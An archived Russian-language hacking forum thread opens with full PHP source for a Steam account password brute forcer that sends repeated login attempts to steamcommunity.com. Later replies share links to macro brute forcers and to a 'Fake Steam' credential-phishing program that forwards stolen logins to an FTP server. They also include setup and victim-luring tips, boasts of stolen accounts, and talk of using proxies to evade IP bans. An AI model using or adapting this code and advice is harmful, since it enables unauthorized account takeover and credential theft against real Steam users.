PDA

Просмотр полной версии : [PHP] Steam Account Brute Forcer


~Real F@ck!~
24.02.2008, 20:58
Вообщем тема говорит сама за себя

<html>
<body>
<style>

body {
background-color: #2b2b2b;
background-image: url(images/background.gif);
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
color: #B0B0B0;
}
.border
{
border: 1px solid #006699;
background-color:#000000;
}
.header
{
background-color:#000000;
}
.content-background
{
background-color:#000000;
}
.text-strong
{
font-weight:bold;
}
.content-header
{
background-image:url(images/content-header.gif);
}
.content-border
{
border: 1px solid #006699;
background-color:#1A1A1A;
}
.content-background
{
background-color:#000000;
background-image:url(images/content-background.gif);
}
a:link {
color: #006699;
}
a:visited {
color: #006699;
}
a:hover {
color: #CCCCCC;
}
a:active {
color: #CCCCCC;
}
textarea
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
input
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
select
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
</style>

<?PHP
/*************************************
leaked
*************************************/
if(isset($_POST['end'])){

#$user = $_POST['user'];
#$char = $_POST['char'];
#$start = $POST['start'];
#$end = $_POST['end'];
$pass = $start;
$count = 0;
$found = FALSE;

function Login_Steam($user, $pass)
{
$input = post("https://steamcommunity.com/:443", "action=doLogin&steamAccountName=".$user."&steamPassword=".$pass."");
return $input;
}
function input_match($source, $num, $preg, $preg1)
{
$parts = explode($preg, $source);
$parts = explode($preg1, $parts[$num]);
$var = $parts[0];
return $parts[0];
}

function match_login($input){
if(!input_match($input, 1, "<h2>", "<h2>"))
{
return "Logged in";
}else{
return "Login Failure";
}
}

function post($site, $data)
{
$rand = rand(1, 9999);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$site);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $site);
curl_setopt($ch, CURLOPT_COOKIEFILE, "tmp2.txt");
curl_setopt($ch, CURLOPT_COOKIEJAR, "tmp2.txt");
$result = curl_exec ($ch);
return $result;
}

function next_pass($pass,$charset,$pos=1) { // borrowed from xprog
$offset = strlen($pass) - $pos;
if ($offset == -1) { //did all passwords in current length, increasing length.
$pass{$offset+1} = substr($charset,0,1);
$pass .= substr($charset,0,1);
}
else {
$char = $pass{$offset};
$charset_pos = strpos($charset,$char)+1;
if ($charset_pos == strlen($charset)) { //offset char reached end of charset, moving up one.
$pass{$offset} = substr($charset,0,1);
$pass = next_pass($pass,$charset,$pos+1);
}
else { //incrementing offset char.
$pass{$offset} = substr($charset,$charset_pos,1);
}
}
return $pass;
}

function Full_Login($user, $pass)
{
$input = Login_Steam($user, $pass);
$output = match_login($input);
return $output;
}


while ($pass != $end and !$found)
{
if (Full_Login($user, $pass) == "Logged in")
{
die("<center><font face='Trebuchet MS' size=3><b>Logged in with $user $pass</b></font></center>");
$found = TRUE;
}else{
echo "[~] Failed with $pass <br>";
$pass = next_pass($pass,$char);
}
$count++;
}
if(!found)
{
echo "Failed to login with any of the ($count) attempts, change your charset or pass limit";
}

}else{
echo '<center>
<table width="33%" height="90" border="0" cellpadding="3" cellspacing="1" class="content-border" id="table3">
<tr>
<td class="content-background">
<div align="center"><center><font face="Trebuchet MS" size=3>
<b>Priv8 Steam BruteForcer [Mad-Hatter]</b>
</font>
</center>
<br>
<font face="Trebuchet MS" size=2 color=#006699>
<hr>
<form method="POST" action="'.$_SERVER['PHP_SELF'].'">
Username: <input type="text" name="user" value="Fag2Rape"><br>
Charset: <select name="char">
<option value="0123456789">0-9</option>
<option value="abcdefghijklmnopqrstuvwxyz">a-z</option>
<option value="ABCDEFGHIJKLMNOPQRSTUVWXYZ">A-Z</option>
<option value="!@#$%^&*></\[])(~`+-_=">[Misc Symbols ! - =]</option>
<option value="0123456789abcdefghijklmnopqrstuvwxyz">0-9 + a-z</option>
<option value="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ">0-9 + A-Z</option>
<option value="0123456789!@#$%^&*></\[])(~`+-_=">0-9 + Symbol</option>
<option value="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ">a-z + A-Z</option>
<option value="abcdefghijklmnopqrstuvwxyz!@#$%^&*></\[])(~`+-_=">a-z + Symbol</option>
<option value="ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*></\[])(~`+-_=">A-Z + Symbol</option>
<option value="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ!@#$%^&*></\[])(~`+-_=">a-z + A-Z + Symbol</option>
</select>
<br>
Start: <input type="text" name="start" value="0"><br>
End: <input type="text" name="end" value="ZZZZZZZZ"><br>
<input type="submit" name="submit" value="Brute!">';
$user = $_POST['user'];
$char = $_POST['char'];
$start = $_POST['start'];
$end = $_POST['end'];
}
?>
</body>
</html>

TrypoED
24.02.2008, 22:18
Хм... Брут полезный ) Сейчас заюзаем...

XaCeRoC
26.02.2008, 14:36
Скажите брут ещё актуален??

Isis
26.02.2008, 15:04
XaCeRoC, посмотри на дату создания поста и ответь себе сам

XaCeRoC
26.02.2008, 17:16
Isis спс понял , просто бывает через пару дней уже не работают.

Don1=2
28.02.2008, 07:47
Isis спс понял , просто бывает через пару дней уже не работают.
а проверить никак?

SNAIPER ShoT
06.03.2008, 22:52
Сорь за глупую просьбу =( но не мог бы кто нить скомпилить и скинуть уже готовые... а то у мну не получается =(

Piflit
06.03.2008, 23:04
ога, сконпелируйте плз кто-нить. поставлю +

NFM
06.03.2008, 23:20
Сорь за глупую просьбу =( но не мог бы кто нить скомпилить и скинуть уже готовые... а то у мну не получается =(
оно вообще то на php ставь на сервак и юзай

+toxa+
06.03.2008, 23:28
ога, сконпелируйте плз кто-нить. поставлю +
замени _POST на argv и юзай php2exe, проблема йопт)

Piflit
06.03.2008, 23:37
замени _POST на argv и юзай php2exe, проблема йопт)
html не конпелируется :confused:

+toxa+
07.03.2008, 14:59
html не конпелируется :confused:
бгг, а зачем тебе html? для красивого вывода?) сделай чтоб всё в конце сохранялось в html файл если так хочешь)

fire64
01.04.2008, 21:14
у кого-нибудь получилось сбрутить аккаунт ?

Worm62
05.04.2008, 13:10
Fatal error: Call to undefined function: curl_init() in /home/tu1.ru/m/ma/madbadjack/htdocs/www/1.php on line 120

пишет

KyCT
05.04.2008, 17:11
Fatal error: Call to undefined function: curl_init() in /home/tu1.ru/m/ma/madbadjack/htdocs/www/1.php on line 120

пишет

у менф работало раньше, теперь пишет тоже самое...

Piflit
05.04.2008, 17:19
курл подключите

Nek1t
23.05.2008, 18:47
А есть ли брутер к Steam немного другого типа. Т.е. не один акк брутишь на разные пассы, а допустим 1000 акков брутишь на один пароль? :p

geforse
18.06.2008, 11:58
А есть ли брутер к Steam немного другого типа. Т.е. не один акк брутишь на разные пассы, а допустим 1000 акков брутишь на один пароль? :p

Ну что нету таковых ?

Nek1t
18.06.2008, 14:01
Видимо нету, но зато можно немного переписать уже существующий брутер ;)

k0lbasa
20.06.2008, 08:34
кому-нибудь удавалось снять акки?

skiks
21.06.2008, 02:17
тож оч интересно. Купил бы если бы работал хорошо.

0o.IG.o0
23.06.2008, 01:11
Я написал свой брутер такого типа, правда на макросах)))) За пол часа брута я имел 3-4 аккаунта

X-Venom
23.06.2008, 11:19
0o.IG.o0 поделишься брутом или это мегапривад?

Nek1t
23.06.2008, 16:12
0o.IG.o0
Делись сорцом :)

svesve
23.06.2008, 20:02
Сорцы в студию за + в репку )

k0lbasa
27.06.2008, 02:01
есть трой для увода стим акков? в гугле только ссылки на ютуб и подозрительные файлы на треккерах

gisTy
28.06.2008, 01:33
не обязательно что если файло лежит на трекере, тем более вирус, значит он подозрительный... ну скачай, подними виртуалку и проверь=)

Nek1t
28.06.2008, 10:57
0o.IG.o0
Сообщения: 1
Ты что ли специально зарегался, чтобы сказать какой у тебя брутер?
k0lbasa
есть трой для увода стим акков?
+1, давно такой ищу, даль что в пинче не реализовано...

All
Кто-нить знает, где достать в большом количестве логины к стиму?

Fantasy
29.06.2008, 21:54
Nek1t стукни в 1-426-426 .

Nek1t
02.07.2008, 16:46
Стукнул... что-то без ответа.

0o.IG.o0
06.07.2008, 16:36
Nek1t
Если ты не заметил, я зареган на форуме гораздо раньше

http://dump.ru/file_catalog/932953

Сильно не пинайте....

Nek1t
06.07.2008, 21:17
0o.IG.o0
Ок, ок. Ничего не имею против...
Сейчас затестим...

Nek1t
06.07.2008, 22:38
Хм... Брутер еще не тестил, а уже есть вопросы. Собсно брутишь через тот же steamcommunity.com?
Там ведь сейчас капча стоит.
http://ipicture.ru/uploads/080706/9S15BJYLe5.png (http://ipicture.ru/)

0o.IG.o0
06.07.2008, 23:31
ой, сорри, там вроде 2 версии... одна под стим другая под стимкомьюнити

Flash-ICE
07.07.2008, 00:01
Если помог поставь +++

http://www.mediafire.com/?9tc9su2zmp0

Фейковый STEAM то есть вводишь пароль и логин и он это все отсылает на ФТП ваш
Не палиться антивирусами
Настройка
Открываем файл "fsteam server editor"
Указываем свой ФТП хост куда будут литься файлы с паролями и акками
Ну дальше разберетесь как все сделали нажимаем BROWSE
выбираем файл Fake-steam.exe каторый у нас в архиве вот и все прога готова
И можно уже будет разводить типо хочешь все халявные игры от стима тода скачай тото тото ну и т.д. ))))
Не давно угнал акк с КС 1.6 , КСС, ТФ2 остался доволен!

Nek1t
07.07.2008, 00:36
0o.IG.o0
Ну под стимкоммунити я так понимаю не пашет?
А если брутить под стим, лочат за что-нить?
Flash-ICE
Посмотрим...

0o.IG.o0
07.07.2008, 00:47
Там в мини-ридми написано.. Вобщем после ~30 попыток временно банят ip

Flash-ICE
07.07.2008, 02:19
Маленькое добавление к фейку стиму
минус проги что там нектрые знают как узнать пароль ФТП
что оч опасно для платного хоста
на айола работает норм
Лучше использовать СИ с одним человеком(то есть разводить по одному челу) так как
если все это написать к примеру на игровом форуме "ООО КУЛ ИГРЫ СТИМА ХАЛЯВНЫЕ" чтото типо этого то там сразу поломают ФТП

MVadim
08.07.2008, 18:06
Маленькое добавление к фейку стиму
минус проги что там нектрые знают как узнать пароль ФТП
что оч опасно для платного хоста
на айола работает норм
Лучше использовать СИ с одним человеком(то есть разводить по одному челу) так как
если все это написать к примеру на игровом форуме "ООО КУЛ ИГРЫ СТИМА ХАЛЯВНЫЕ" чтото типо этого то там сразу поломают ФТП
а касперский так и должен орать что кто-то пытается записать свою копию в автозапуск? для фейка это не характерно

6e3DHa!look
08.07.2008, 18:36
Fake Steam это весчь. Пока работает)

GumaNoiD
20.07.2008, 14:24
Разобрался сам
Изменил данный скрипт под своё усмотрение,убрал так много "delay'ов" т.к интернет у меня быстрый
Разрешение 1280*1024
Кто хочет попробывать-скачать (http://dump.ru/file_catalog/955532)
Напомню,что и для этого нужно делать всё тоже самое что и для оригинального скрипта от 0o.IG.o0.....

GumaNoiD
21.07.2008, 01:01
Вобщем есть идея как обойти бан в стиме....
Ещё собираюсь прикрутить прокси....Кто хочет оказать помощь - в Icq 577-555

Fedya
14.12.2008, 21:54
есть продвижения?

GumaNoiD
16.12.2008, 20:50
есть продвижения?
С тем скриптом нет
щас нашёл прогу но там бан дают
Фрикап и прочее не помогают однако аккаунты снимаются довольно успешно =)

snit
20.02.2009, 17:53
что за прога?

Fedya
10.03.2009, 22:19
Нет такой проги. Забудь. :)

Seryozhka
26.09.2009, 15:19
Ну что? продвижения есть?

aPq
26.10.2009, 20:26
Да есть... очень неплохие :) Пытаюсь приделать программу одну... если найти быстрые прокси, штук 10... https, то можно брутить без проблем хоть неделю подряд, бана не будет... Но есть одно но, найти эти прокси достаточно большая проблема... + надо всё это прикрутить к макросам, сейчас я этим занимаюсь...
Если скинете мне источник хороших быстрых, желательно русских https прокси, скину весь макрос + программу...